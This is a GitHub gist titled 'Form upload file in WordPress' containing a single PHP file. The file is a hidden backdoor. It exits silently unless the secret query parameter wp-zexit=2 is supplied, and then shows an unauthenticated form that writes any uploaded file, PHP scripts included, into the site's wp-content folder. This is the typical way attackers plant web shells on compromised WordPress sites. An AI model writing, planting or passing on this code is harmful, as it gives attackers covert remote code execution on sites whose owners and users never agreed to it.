Last active
February 25, 2024 03:36
-
-
Save duongthanhthai/4a3cdbf1eb4759fc39c7d9b134792e31 to your computer and use it in GitHub Desktop.
Form upload file in WordPress
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_GET['wp-zexit']) && $_GET['wp-zexit'] == '2') { | |
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["userfile"])) { | |
$uploadDir = __DIR__ . '/wp-content/'; | |
if (!is_dir($uploadDir)) { | |
mkdir($uploadDir, 0755, true); | |
} | |
$upload_file = $uploadDir . preg_replace('/[^a-zA-Z0-9\._-]/', '', basename($_FILES["userfile"]["name"])); | |
if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $upload_file)) { | |
echo "File ". htmlspecialchars(basename($_FILES["userfile"]["name"])). " Done."; | |
} else { | |
echo "Error"; | |
} | |
} | |
?> | |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>Upload File Form</title> | |
</head> | |
<body> | |
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>?wp-zexit=2" method="post" enctype="multipart/form-data"> | |
<input type="file" name="userfile" id="userfile"> | |
<input type="submit" value="Upload File" name="submit"> | |
</form> | |
</body> | |
</html> | |
<?php | |
} else { | |
exit; | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment